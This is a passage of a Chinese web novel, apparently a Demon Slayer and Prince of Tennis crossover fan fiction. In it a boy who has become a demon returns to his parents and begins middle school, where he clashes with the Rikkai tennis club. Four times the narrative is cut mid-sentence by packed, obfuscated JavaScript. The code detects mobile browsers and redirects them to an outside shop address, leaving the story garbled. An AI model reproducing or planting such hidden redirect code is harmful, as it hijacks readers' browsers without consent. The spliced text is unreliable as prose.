伊势柊真从床上醒来，长久注视着天花板。 胸口传来某种温暖的真实触感，仿佛真的有人推了自己一把，他摸了摸那块地方，只感受到心脏有力的跳动。 时隔多年又一次见到了故去友人的亡魂，锖兔却像上次一样，将他推回了生者的世界。 相信他不会被鬼的本能驱使，就像炭治郎、鳞泷先生和义勇相信弥豆子一样吗？ 伊势柊真攥紧了胸口的衣服，还没从名为“怅然若失”的极端体验中回神，旁边冷不丁探过来一颗脑袋。 “柊真，你醒了？” “……爸？” 伊势柊真头发睡的有些乱，脑子一时也是懵的。 “你为什么在我的房间里？” 他四下看去，才发现自己房间的窗帘一夜之间全部换成了更加厚实遮光的布料。 他爸在旁边搓手陪笑，“嗯……趁你睡着，给你的房间做了一些小小的改装。”说着推了下鼻梁上的细框镜，便不小心把手上的脏东西蹭到了脸上。 伊势柊真：“……” 他光脚下地，绕过看上去颇为苦命的老父亲，拉开窗帘一看：果然，通往阳台的玻璃门全部从内侧涂满了不透光涂料。 并且…… 伊势柊真尝试去推，发现一普通人的力量来说轻易无法撼动，不知道用什么东西焊死了：“。” 手边没有能看时间的东西，不知道他这一觉睡了多久，伊势柊真抱歉地回头看向父亲，那封遗书是真的吓到他们了。 出差回来看到儿子的遗书，写了自己突然穿越到“异世界”的经历，和润色后选择“待在那个世界”的决定。 好在，在报警或联系精神病院前，他们抓到了那个意图不告而别的臭小子。 他真是个过分的儿子。 虽然报喜不报忧地省略了自己最后的结局，只说要回去协助同伴们继续斩杀恶鬼，但世界上最熟悉他的两个人，怎么能读不出字里行间的诀别。 房间里没开灯，伸手不见五指，夜行的鬼眼能看清一切，但伊势夏生几乎两眼一抹黑。 “哦，对，你的花都搬到走廊上了，想看随时可以去看。” 他爹误解了他的意思，还以为他在想自己的宝贝们，慈祥地上前摸摸他的头，“虽然你妈说住地下室更加安全一点，但总不能那样委屈你不是，而且肯定是待在熟悉的地方更自在。” “嗯……” 虽然已经独立的年龄再被做这种动作有些不自然，但发梢被触碰的感觉，还是让伊势柊真露出发自内心的笑容。 - 昨天夜里，他久违的和父母促膝长谈。 他们是知道他的，绝不会为找关注而开那种玩笑。 原本还想隐瞒的伊势柊真没能撑过两轮家庭会审。 母亲拿出他的那套胸口破了个窟窿的古董衣服，犀利指出他身体发生大小变化，一定是发生了什么。 他只能将事实和盘托出，他不是意外因地震回到现代，实际早在百年前的浅草小巷里，他人类的生命就已经终结。 不只身高体型，伊势柊真还能够自由控制自己瞳孔的形状，为证实自己话语的可信度，他睁开布满血丝的竖瞳，眼周皮肤也充血出可怖的青筋纹。 他的瞳孔本来是偏红的紫色，像极了院子里栽的那株紫藤花。 变成鬼后，颜色加深，好像花朵被碾碎成汁液，透露出一丝邪恶的颓靡。 “能够再见你们一面，我已经很知足了。” 伊势柊真一时难过极了，表情又想哭又想笑的。 “所以……” “闭嘴！” 他从未见母亲如此生气，她清冷的外壳被打破，高高抬起手，呼吸都带着颤抖。 就在伊势柊真以为她要落下来，闭上眼睛时，却久久没等到那阵风。 他睁开眼，随即被恶狠狠地掐住了脸。 伊势真理单手压住茶几，黑发凌乱垂落，冷若冰霜的脸上，目光如淬火的刀，逼着想不开的儿子直视： “你现在是清醒的，就不要说这种话。” 脸变形的伊势柊真想说什么，但他妈不想听他放屁，直接伸手盖住他下半张脸。 刚从国外飞回来，还没来得及倒时差，他们脸上有显而易见的疲惫。 “今晚先休息吧。”伊势夏生扶住妻子的肩头：“柊真也是，先喝杯热牛奶，好好睡一觉。” 他看向沉默的儿子，“无论发生什么，我们都会陪你一起面对的。” 他的父母也相信他不会伤害人类。 - 就这样，伊势柊真感觉一切仿佛真的回到了从前，他喝下有助长高的热饮，一觉睡到了…… 两天后？ 原谅他在拿到父亲递给他的新手机，看到日期后无法称呼那杯饮料为单纯的牛奶。 确定一定以及肯定，里面被加了料。 所以他这一觉睡的无知无觉，房间动工的声音都没有吵醒他：“……”这还真是他的父亲能做出来的事，伊势柊真从很早就觉得他有点病娇属性在身上。 他变成鬼后除了弥豆子的血，百年来还什么都没吃过，因而不知道自己的味觉发生了什么变化，只觉得那杯液体的味道很奇怪。 现在想来他身上发生的事，或许与曾饮下弥豆子的血有关。 他见过形形色色的鬼，那孩子是特殊的，不仅能克服吃人的欲望，还能凭借睡眠恢复体力。 伊势柊真才把补办的电话卡插好，积压的许多信息一股脑弹出来。 最醒目的是切原赤也不久前才发的： 【明天八点学校报道，千万别忘了带球拍！(??⊙ω⊙`)????（乱七八糟的一串emoji）】 伊势柊真回了个ok。 “我妈呢？” 偷瞥见他回信的伊势夏生心下一松，轻咳一声：“在地下室，准备把那里改装成实验室。” 伊势柊真愣住了，“实验室？” 伊势夏生道：“会找到让你变回人类的方法的。” 他们知道他在担心什么，无非是自己失控没人能阻止，甚至伤到至亲的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806854|189276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，犯下无法挽回的过错。 “如果真的发生那种事……” 女人出现在房门口：“也会找到能杀了你的毒药或武器，这样能安心了吗？” 伊势真理说一不二，他妈的话就是真理。 - 实际上在伊势柊真的记忆里，变成鬼才不过是一两天前的事，在亲朋好友乃至故友托梦的连番攻势下，他根本没有牛角尖可钻。 而安定下来后发现，需要考虑的问题有很多。 比如，首先家长问他关于未来人生的规划是如何想的，他现在变成了鬼，有很多职业无法选择。 是否要继续走完行上岔路前的人生轨迹？ 如果想以成年人的身份活动，也可以替他伪造相关的身份证明。 伊势柊真迟疑：“伪造身份违法吧？” 对面笔记本后那双与他相似的红眸看过来，“那咋了”。 “……” 虽然没直接说出口，但她的眼神明显是这个意思。日本政府就是垃圾狗屎的嘲讽不言而喻。 最终伊势柊真回想起海带头那番豪言壮语，做出了选择。 而后来到最关键的一个问题： 饲养一个十二岁的青春期小孩。 和饲养一只鬼，这种以往被认为只是传说怪谈的生物，难度是截然不同的。 在研究如何饲养一只鬼前，他们需要关于物种先展开一轮纠正。 “吸血鬼……” “不是吸血鬼，是食人鬼。” “食人鬼，也就是说只能以人为食吗？” 伊势家一直是父亲负责做饭，夏生穿着围裙走出厨房：“既然人类的食物无法补充能量，你先试试这个些。” 他端上一盘未经处理的生肉，有红肉也有白肉，被切成方便下口的小块。 伊势柊真坐在餐桌后面，罕见生出几分弱小无助之感。 “水都不焯一下就给他吃？”真理冷冽地抬眸。 “这……” 无能的丈夫搅着手指。 真理展示自在正在检阅的内容，“按照生物习性，还是得吃机体能够消化的食物最健康。” “可人的尸体不好搞，医院有血库倒是方便一些。” “你光喝饮料能饱？” “……” 不要再说了，越来越刑了！！ 拜托不要比他这个百年前的人更挑战现代社会规则！ 伊势柊真顺了口气打断道：“……我是不会吃人的，人血也是。” 夏生笑弯了腰：“哈哈，你看这孩子，开玩笑看不出来？” 真理也忍俊不禁：“嗯。” 伊势柊真麻木地看着这对夫妻：“……”不要开这种你们真能做到的玩笑。 鬼的生理结构使它们不吃不喝也不会影响基本生存，但还是会感到饥饿，对人类血肉的渴望也会随之增加。 不过他睡了一觉再醒来后，发现这种感觉减轻了许多，看来他也能通过睡眠恢复体力。 这是一大幸事，只是效率实在太低。 最后伊势柊真还是咬牙吃下一盘简单焯过水的肉，看自己能否消化它们。 好消息：虽然困难还有点反胃，但除了饱腹感外，他是可以从中获取能量的。 见已经得出结论，伊势夏生去洗盘子前愉快拍手： “太好了，那柊真明天就去上学吧，我这就去给你做要带去学校的便当！” “太着急了。”伊势真理不赞同道。 “国中的入学典礼可是一生只有一次的，错过就太可惜了。” “你这话不严谨，如果留级或转学了呢？” “……”夏生扶镜框苦命笑，“我们家柊真不会的吧？” 伊势柊真扶桌按胃讲不出话。 夏生镜后的眼睛一转跃跃欲试：“但话说回来，留级或转学也是不错的体验，要体验一下吗？” 伊势柊真顺了口气，睁着死鱼眼：“不了。” 8.第8章 四月，樱花飞舞。 又到了一年一度的入学季，立海大附属中学校门口立起“入学式”的牌子，一年级的陌生面孔们有说有笑地走进校园。 切原赤也已经等候多时，抱着胳膊靠在旁边，不时掏出手机看一眼，顺便发信息催促。 他急躁抖腿的不良作态，引来路过学生窃窃私语。 丸井文太哈欠打到一半，下巴差点掉地上，还以为自己昨晚补作业弄花了眼，忙搡一下搭档。 “那不是赤也吗？我们要迟到了？” 胡狼桑原正巧抬手看表，被捣在腰间软肉上打出一点暴击：“呃！……没有啊。” 他委屈地看了眼红发的悠哉少年，也很奇怪，切原赤也平时不可是那么有时间观念的人。 “今天太阳从西边出来了吗？” 丸井文太咕哝着，两人上前打了个招呼，得知海带头在等一个今天入学的邻家学弟，说是怕对方不知道教学楼怎么走。 丸井文太残念地看了眼仿佛承担起某种重要责任的少年，为了不打击他的积极性，没有揭穿除了他，大概没人会在学校里迷路整整两个钟头，完美错过开学典礼。 “丸井前辈，我前两天跟那家伙打球，可是狠狠吃了一惊。” 切原赤也带着一丝得意，哼笑说：“想必不久你们也会跟我一样惊讶的。” “嗯……先不管那位学弟的网球技术如何。” 丸井文太狐疑地打量他，“你提早在校门口堵他，不会是想——” 被猜到心思的切原赤也眼中绽放出激动的神采。 丸井文太与胡狼桑原对视一眼，默契地耸了耸肩，替那位素未谋面的后辈默哀三秒。 两人离开后不久，立海大的三巨头也出现在校门口。 瞥见黑脸副部长的切原赤也立马站直了，主动跟三位前辈问好：“部长！真田副部长！柳前辈！早啊。” 站在中间的蓝紫发少年面容姣好，回以月下百合般温柔的浅笑：“早上好，切原。” 柳莲二点头：“早。” 真田弦一郎眉头皱起：“到了就进去，在校门口站着像什么样子！” 切原赤也缩着脖子小声说：“在、在等人……” 真田弦一郎还想训两句话，旁边柳莲二说：“是那晚在俱乐部遇到的一年级？” “对对，就是柊真！”切原赤也猛猛点头。 听出参谋话语中不同寻常的意味，真田弦一郎望过去，等他们的后文。 柳莲二的眯眯眼看向周遭渐渐稀疏的人流，为去身体抱恙的部长家接人，他们到的有些迟了，学生会还有工作等待处理：“边走边说吧。” 三人走入校门。 柳莲二整理了一下语言，才捡起话茬，后方传来一道情绪激动的声音。 “你总算来了！” 幸村精市停步回眸，首先闯入眼帘的是一把黑伞，像花瓣突然撑开般从私家车里弹出来，将其下的人遮挡的严严实实。 他饶有兴趣地托住下巴：“莲二，就算是你也不会在这种天气撑伞吧？” 先回答他的是笔尖沙沙声，“嗯……” 参谋又收集到了有意思的数据，能让他如此重视，就足见这位新人的实力与天赋了。 看来今年立海大网球部也会迎来不输二年级王牌的新鲜血液。 - 伊势柊真从幼儿园起就自己上下学，实在没想到这么大了还要被家长接送。 虽然积极准备了一应学习用具，力排真理“先找研究所或发明家定制防紫外线用品”的意见，但从夏生坚持要开车送他到学校可见，实际上他的父亲也并不放心。 并不刺目的春日阳光，却会让鬼产生生理性恐惧。 在站到太阳底下后，饶是头顶的伞将紫外线牢牢阻挡，皮肤也像针扎似的幻痛。 但这些都是可以克服的，伊势柊真看向认出车子后已经守在旁边，颇有些惊讶的海带头。 “你不会是睡过头差点迟到，所以让叔叔开车送你来的吧？” 切原赤也围着他转了两圈，纳闷地站到另一边荫蔽下：“这太阳也不毒，你怎么打上伞了？” “还不是这孩子天天捣鼓花草，又爱往林子里钻，有些晒伤了。”伊势夏生从车上下来。 “啊？” 切原赤也愣了，想说他这么多年不都是这么过来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812597|189276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗，浅栗色头发的男人竖起一根手指，摇了摇，“皮肤在经历冬季后，对阳光的防护能力会变弱，所以要记得涂防晒。” 夏生取过副驾上他的手提包和网球包，“学校那边我已经打过招呼了。” “阿柊，有事给我们打电话……”夏生停顿了一下，镜片后的目光很深，“那我就先走了。” 伊势柊真点头接过：“不用担心我。” 送走操心的爹，旁边还有个切原赤也在嘘寒问暖，“哪晒伤了，脸没事吧？” 伊势柊真推开他欲要拨开他刘海仔细查看的手，“该问你有什么事，为什么突然献殷勤？” “嗯，脸还是干净的，不会影响气势。” 切原赤也咳嗽两声，噔噔从怀里掏出一张纸。 先不管伊势柊真接下来打算干嘛，总之他另有一番安排，并列了一串清单，想让挚友弥补自己去年的诸多遗憾。 伊势柊真接过他遍布错别字的大作，只见其上书： 1.跳上校门宣誓要成为No.1！ 2.加入立海大网球部！ 3.给网球部里的三巨头下战书！ 4.打败三巨头！ 5.成为新的网球部部长，并封切原赤也为副部长！ （自动修正版） “……” 伊势柊真觉得这白纸反射的光有点晃眼。 他露出轻柔和气的浅笑，将纸张递还给黑卷发少年，在对方期待的目光中点了点头，而后走向校门。 穿过校门。 头也不回的离开了。 切原赤也眼都看直了，“柊真？” 他半是崩溃地追上去想要挽留，却被不着痕迹地抽出了手，只能自己跳上“立海大附属中学”的半边门柱，复刻去年经典名场面。 “来啊，上来啊，我陪你一起！” “从今天起我就是立海大国中部的一年级了，在全国No.1的网球部，我也要成为——” “喂！” “谁在校门口大喊大叫——你跑上去干什么，下来！”教导主任看清是谁后胡子都竖起来了：“怎么又是你！” “哇，糟了！” 9.第9章 伊势柊真按原本的人生轨迹入学立海大附中一年级。 他是相信转世的说法的，也隐隐期待着，有朝一日能与故友们重逢。 在经历过开学典礼（听校长吹了一遍牛）后，一年级新生们各自返回教室，孩子在新环境总是比较活跃，整层楼都吵吵嚷嚷的。 伊势柊真被分到了A组26番，班主任是个年轻温柔的女老师，教他们英文。 由于不能见光，他的座位被安排在最角落的位置，离窗有一段距离。 在自我介绍环节，受到学生家长拜托的老师，也很体贴地说明了他身体不便，希望其他同学能多照顾。 他父母都是医院的医生，一直工作繁忙，时常要出差去参与学术研究，倒也因此方便了给他开“日光性皮炎”的证明。 平静祥和的日常格外令人安心。 无论是课间三五成群的同学，还是墙壁上的挂画，或者不知道之前哪一届教室使用者留下的，被扯掉一个角的贴纸。 总之。 他就这样以十二岁国中生的身份，经历自己错过的少年时代。 - 他的名字叫做浦山椎太。 是立海大附属中学的一年级新生，现在超·紧张！ 一个上午的功夫同学们就熟悉起来，有了各自的小圈子，只有一个人显得格外孤独。 当然不是指他自己，而是…… 浦山椎太小心地转过脑袋，斜后方有一把撑开的伞，如果不是那有副桌椅，根本瞧不出来有人！ 对方在打着伞一路走进教室，在坐下后也没收起来时，就格外显眼了。有对这个特立独行的少年非常好奇的，也有觉得对方一整个怪人的，直到老师说明对方这样不怕长不高的原因，才恍然大悟。 刚开始有不少同学友善地上去打招呼，但在新鲜劲散去后，他就彻底被遗忘在教室角落了。 被、被孤立了吗这是？ 不能这样！ “那个！”浦山椎太鼓起勇气上前，“你也喜欢网球吗？” 在至亲面前完全被牵着鼻子走，和切原赤也也比较熟悉。 但对着一群刚小学毕业的孩子，心理年龄要倒过来写的伊势柊真实在没有多少共同话题，难免显得不合群。 浦山椎太看到伞尖动了动，而后缓慢移开了。 这会上午正好照进教室的太阳已经挪开，他心情有些激动，终于得以见到这位同学长什么样了、 吗？ 帽子+面罩+太阳镜：“说不上喜欢，全因友人相邀。” 浦山椎太眼神空洞地对着那双黝黑的镜片：“相邀？” 帽子+面罩+太阳镜顿了顿，“有时会陪一个朋友打球。” 白日活动精神高度紧绷，他在进行社交时，下意识摆出百年前的人的说话方式。 “哦……” 正午紫外线强度直线飙升，为了不被晒化，伊势柊真在收伞前，装备上他母亲临时改良的防晒三件套。 浦山椎太注意力全在这上头了，这位同学── 怎么说呢，明明是很不幸的事，但对上这张完全被挡住的脸，怎么隐隐有种喜感呢？ 当对方不动地仰头看过来时尤其。 不行，绝对不能笑出来。 死脑子快动啊，想想有什么话题。 对了！ “你的无痕加长护颈冰丝口罩看上去真不错，是在哪里买的？” 啊啊啊天哪他在说什么！ 浦山椎太恨不得撕烂自己的嘴巴，会被当成嘲笑的吧！ 对方显然愣了一下，“我也不清楚，你真的很喜欢的话，我回去问一下我母亲。” “嗯、嗯！那就麻烦你了！”浦山椎太欲哭无泪，硬着头皮继续下去，“那个，我的名字叫浦山椎太，很高兴认识你……” 绝对被当成怪人了，他坐回位置上时仍旧蔫蔫的，不过好歹是跟对方交换了名字和联系方式。 完全看不清脸的时候，只能从声音留下对人的第一印象。 伊势同学的声音是很好听很温柔的。 浦山椎太发现对方其实很好相处，座位邻近的自己理所当然要承担起照顾对方的责任。 于是在午休的时候，他主动想约对方一起去吃饭。 虽然被教导主任抓住训了个狗血淋头，但已经迅速把自己哄好的切原赤也，也正好来找伊势柊真共进午餐。 海带头在教室里转了圈，最后终于凭借网球包认出伊势柊真时，表情跟见鬼了似的。 “柊真？” “嗯。” “……” 伊势柊真不理会傻掉一样杵着，正在进行头脑风暴的发小，主动跟浦山椎太说：“要一起找个地方吃午餐吗？” 浦山椎太看看脸色逐渐阴郁，不知道想了些什么的二年级前辈，“好、好的。” 切原赤也结束了思考，忽而一把扯过伊势柊真，“喂，都听好了！” 在把所有人的目光都吸引过来后，海带头面色不善地竖起拇指比比他，又锤锤自己胸口： “他，我罩的，懂？” 伊势柊真墨镜后的眼睛失去了高光。 他弯腰拿便当的功夫，这家伙好像编排了一出大戏啊？ 同学们惊讶地窃窃私语：“是今早校门口那个古惑仔……” “好吓人。” “跳上校门大喊要成为这个学校的No.1就是他，听说去年也这么做了？” 又惊奇地看向“被罩”的伊势同学，只见对方毫不客气地给了不良前辈后脑勺一巴掌。 “就你嗓门大？” 而后压着委屈看向自己的切原赤也，向同学们表达歉意，并把人给拉走了。 “他们孤立你哎？” “你眼瞎吗，浦山君不是人？” 先前也有人上前尝试搭话，不过都没说两句就冷了场，只能遗憾退场。 浦山椎太略显弱小地抱着便当跟在后面，在切原赤也的吊梢眼挑剔看过来时，鞠躬喊：“前、前辈放心，我会照顾好伊势同学的！” “嗯……” 切原赤也双手插在裤兜里，一副吊儿郎当的样子，把面前这个脸上有两坨红晕的圆眼少年打量一番：“行啊，好好干，有的是好处。” 还摩挲食指拇指，嘬了个牙花儿。 “说你不良你还喘上了？” 伊势柊真想起来了，全都想起来了。 他当初为什么一整个假期都拒绝与他见面，以求保留最后的清静。 因为这家伙是真的越大越能作啊，一脑子奇思妙想，轻易拴不住绳子！ 年仅十二岁的他就曾怀疑自己会因为要管教邻居家的哥哥而早衰。 切原赤也试探地看着他，“啧？”小心翼翼的又嘬了一个。 “。” - 最后这顿饭是伊势柊真压着他在体育器材室里，先背完上课内容才允许吃的。 浦山椎太看的目瞪口呆。 以及他总算看到了拨开层层面具的伊势同学的脸，和声音给人的印象一致的长相，清秀干净。 - 入学第一天就有些对自己的国中生活感到忧心。 伊势柊真原本还有些顾及不时升起的食欲，想和其他人适当保持距离，但现在为了自己未来三年的体验，不被彻底当初成一个怪胎，他开始有意识维护岌岌可危的同学情谊。 索性多出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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社团的确是校园生活中不可或缺的一部分，原本依照他对摄影和园艺的感兴趣，会加入相关社团，但现在他更倾向选择回家部。 听说立海大网球部的训练非常严格，想必不会通过他的申请。 伊势柊真婉拒了切原赤也的五大宣言。 - “抱歉，不太方便……” 在网球部前辈主动找上他时，伊势柊真惊讶了一下，还是同样的方式回绝了。 “你应该已经听说了，我无法参加社团活动，所以请回吧。” 他有时会发现对方出现在自己周围暗中观察，一开始还思考过对方的目的，但在甩掉对方，反进行一翻调查，看到对方的笔记本后释然了。 虽然不理解收集情报什么时候成了一种爱好，但尊重。 柳莲二看着不同于初次遇见的时候，把自己裹得严严实实的“白面狐狸”：“……希望你再考虑一下。” 说着递上一张空白的入部申请书。 伊势柊真盯着那张纸看了一会，还是收下了。 柳莲二留意到他伸出的手带着手套，真是武装到牙齿，不露出一丝皮肤。 切原赤也最近参加部活时没少念叨，说他发小的晒伤一直不见好，才迟迟没来网球部。还跟害怕阳光直射，常带一把阳伞的他打听要怎么防治。 但据他这段时间观察下来，对方并不像简单的皮肤问题。 毕竟浅交不宜言深，听说对方的父母都是医护人员，想必更知道如何治疗。 … 伊势柊真将那张申请单随手夹进课本，以为自己不会在上面留下名字。 事情的转机发生在一节体育课。 10.第10章 上午还挂着大太阳，下午突然卷起乌云。 正是好动年纪的少年们见外头下起雨，werwerwer地啼鸣起来。 体育老师吹了下哨子，“这节课体测，排队去体育馆！” 教室里响起稀稀拉拉拖长了的“是——”。 想起这个班里有个自己还没打过照面的“神秘主义者”，老师问教室里那些趴在桌上的脑袋：“哪位是伊势同学？” 后座的伊势同学睡的正熟。 还是邻座的浦山椎太咳嗽一声提醒，他才缓慢地抬起头，举了下手。 被班主任叮嘱过A组有个特殊情况的学生，本想着记一下对方的脸，没想到对上一张狐狸面具，体育老师一时哽住，下意识想问他这是刚从庙会回来吗？ 但其他人都习以为常的样子，显得他吐槽的话很大惊小怪。 “嗯……伊势同学也来活动活动吧？”体育老师努力堆出亲和的笑容。 伊势柊真睡久了嗓子有些哑：“好。” 目前初版的阻隔材料，防紫外线的功能有限，他还无法长时间出现在太阳下。 加上最近天气都很好，有病假条的他一直没上过体育课。 浦山椎太热心地陪他去换了运动服，到体育馆后发现人还不少，有几个高年级的班也在活动。 体测项目无非就那几个。 跑步等需要户外场地的暂且排除，老师组织他们分成两组，一队先测肺活量和仰卧起坐，一队去隔壁的医务室量身高体和视力。 很少有机会能看到伊势同学的正脸，他一进场馆就被围了起来。 一般特立独行加不符合校规的外形毫无疑问是个怪人，但他在班里意外的受欢迎。 这得益于父母给予的外貌优势，和周围的同学大都是不错的人，不会因此对他产生歧视。 伊势柊真分到第一组，排在队里略显倦怠。 见他一副躺上垫子就能睡过去的样子，体育老师嘴角抽搐了一下。 “我来帮你压腿吧。” 浦山椎太去医务室那边了，伊势柊真点头卧下，手垫在脑袋后面，在计数开始后不紧不慢地做够了及格数。 体育老师欣慰地拍拍他的肩膀：“挺好，去休息下吧。” 伊势柊真就走到一边去了。 此刻他的嗅觉异常敏感，从驳杂的气味柊先辨认出一道熟悉的，才看到有节课一样的切原赤也。 周遭人气很重，那股升腾而起“食物”的认知让唾液分泌。 他拧眉戴上口罩，作为聊胜于无的阻隔，忽然察觉到有陌生的视线在注视自己。 伊势柊真侧头看去，对方穿着高年级的制服，所在班级也正进行体测。 对视上后，对方还抬手打了个招呼，较为瞩目的是他头顶的白毛。 很少见的发色。 鬼杀队中曾有过几面之缘的风柱不死川实弥也是一头白发，有说法与稀血的特殊体质有关，但同为稀血的伊势柊真自己并无此特征。 因此中间是否有关联尚且存疑。 另外他知道恋柱的头发是吃多了樱饼才变成的粉绿色…… 虽然不清楚原理是什么，或许和吃多了橘子会导致皮肤变黄一样吧？ 人类会被食物染色这点，意外的可爱。 记得学校不让染头，所以这个人大概是少年白。 伊势柊真做出这样的判断，他就被风纪委的人问过发色是不是天生的，立海大仪容仪表管的很严，他找学生会申请报备过得到允许才—─视野里热烈的暖色让他一愣。 嗯？旁边有个更显眼的红发和…… 。 哪来的卤蛋？ - “这就是赤也的那个学弟？” 隔着大半个月体育馆与之遥遥对望，银发少年搅着小辫子问。 他笑容略显漫不经心，偏带着一丝坏心的感觉。 今天三年的AB班也搞体能测试，I班的胡狼桑原是听搭档一会要直接去网球部，趁自习过来送伞的。 “身体看上去没什么毛病啊，刚才成绩怎么样，你们有注意吗？”丸井文太问。 “刚及格吧……嗯？” 肤色黝黑的巴西血统少年摸着他的光头，莫名觉得上头凉嗖嗖的，“朝赤也那边去了，应该就是他。” 先把这几位画风明显不一样的三年级放一边。 伊势柊真注意到那边切原赤也和人起了冲突。 或者说被一个面色难看的高大前辈堵在墙边指着鼻子骂，若只是起口角也没什么，毕竟赤也那性子是比较容易跟人起矛盾。 但动手动脚就过分了吧？ 他快步绕过人群，赶在对方动拳头前，拦住了。 “你想做什么？” 他语气不善，表情却是笑着的。 口罩挡住他大半张脸，其上微眯起的双眼，带着温和的询问意味。 “——！” 丸井和胡狼双双倒吸气。 “哇哦。” 仁王雅治忘了加口癖。 - 立海大附中知名风云人物之一传奇黑帽男，虽然实际上并不算多么沉稳的性格，但那张板起来的脸还是很有迷惑性的，此刻显而易见的惊讶浮现其上。 这个只到他胸口的一年级，称得上身形瘦削，套在一层运动服下显得空落落的。 他竟完全没看清对方的动作，连他什么时候近身的都没察觉。 而且…… 真田弦一郎试着抽手，发现竟然纹丝不动，反而感受到手臂被攥紧，无声传递出一种警告意味。 远处围观的三人刚才倒是看得很清楚，“好快！” 中间明明还挡着不少人，这个一年级却像入水的鱼一样过处无痕。 “原本还以为赤也吹嘘过头了，没想到真有两下子嘛！”丸井文太赶紧拉着两人上前，生怕错过这出好戏。 伊势柊真与真田弦一郎对视着，互不相让的意味明显，他有些不爽现在的身高差。 而切原赤也的下巴都快掉地上了。 他结结巴巴地想扯发小衣角：“柊……柊……” 伊势柊真递过去一个安抚的眼神，“别怕，有我在。” 他眉头一皱：“你这是什么天塌了的表情？” “这……这位是我跟你说过的网球部副、副、副部长。”切原赤也顺着伊势柊真的手，看向被“擒”住的黑帽男。 时间隔得有些久，伊势柊真反应了一下才想起来，就是又老又凶快有抬头纹的那个？不知是有意无意，他将这段话念了出来。 “。” 真田弦一郎的脸已经快黑成锅底了。 虽然可能有添油加醋的部分，但想也知道那个海带头背后没少说他坏话，他大喝一声：“切原赤也！！” 切原赤也抖成小兔子：“咦！！” 叫全名了！！ 原来不是收保护费的，伊势柊真得知自己误会后松开手，还有些不满：“有什么不能口头教育？” 走近还没来得及打圆场或者添把火，听清他说什么的丸井文太小声惊呼：“这个一年级居然用说教的口吻的跟副部长讲话，而且气势丝毫不落下风哎！” 他能不输气势不输阵地跟真田对峙就足够惊人了，因为国一新生大都会被发飙的风纪委员长吓哭(非比喻)。 有人撑腰后切原赤也大半身子缩到后辈身后，半点不要脸地应和：“嗯！” 他刚嗯完就听到伊势柊真开始询问：“所以发生什么事了？” “。” 真田弦一郎的目光落在这个一年级身上，停留片刻，眼底掠过一丝深沉的审视。 他声音低沉字字清晰地说：“上课睡觉。” 伊势柊真：“…” 点他呢？ 真田弦一郎又道：“导致这次考试不及格。” 伊势柊真：“只是一次失利，应以鼓励为主。” 真田弦一郎：“他还想偷试卷改答案。” 伊势柊真：“…” 他转头死亡凝视的同时伸手，将某个想要偷溜走的家伙捞回来。 “你去哪？” “说好的鼓励式教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841579|189276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 育……啊我再也不敢了！”切原赤也抱头鼠窜。 伊势柊真却只抬手不轻不重地弹红了他的额头，心累地瞪了他一眼：“再有下次叫你姐教训你。” “不会有下次了！” 切原赤也立马竖起三根手指保证，摸着自己的额头垂头丧气，小声咕哝：“我本来想着你才进立海大，作为前辈要好好表现一下……” 结果被刚好去办公室的副部长逮到就算了，现在连柊真都知道了。 你猜副部长为什么刚好路过？ 丸井残念地咀嚼口香糖，递给搭档一个“你懂的”的眼神。 后者陪笑，垂汗瞥了眼仿佛什么都不知道的欺诈师。 切原赤也在伊势柊真的注视下又默默熄声，浅驼色头发的少年无奈道：“今晚我帮你补习，带上你的卷子和错题本。” 切原赤也丝毫没有不乐意，一口应下：“好！” “？？？” 丸井文太差点咬到自己的舌头。 “啪啪啪……” 一阵激动的掌声响起，身上有股果糖气味的红发少年难以置信，近乎激动地握住这位名不见经传的一年级后辈的手。 “头一次见有人能把赤也收拾的那么服服帖帖，柊真同学对吧，你可一定要加入我们立海大网球部！” 以前让这家伙学习比让他跑操场一百圈还难，不愧是从小一起长大的竹马，说话就是管用！ “太阳不是问题，我们有专门的室内球场。” 近前说话的是曾帮切原赤也补习过，深知其中痛苦的柳生比吕氏，他刚才在帮老师登记体测数据。 伊势柊真认识这个人，在递交病假条等材料时见过，知道他是学生会会长。 他还有些犹豫，垂眸做思考状，但仁王雅治几乎一眼就看出他实际并没有真的在考虑。 仁王雅治翘起一边嘴角，他很擅长观察模仿他人，同时也很会揣度了解对方的想法。 这个很有主见，甚至实在不像个十二岁小孩的学弟，只是碍于学长们太过热情，加上学生长都出面邀请，不好不给面子直接拒绝。 接下来肯定要说—— “我会好好考虑的。” “别考虑了。” 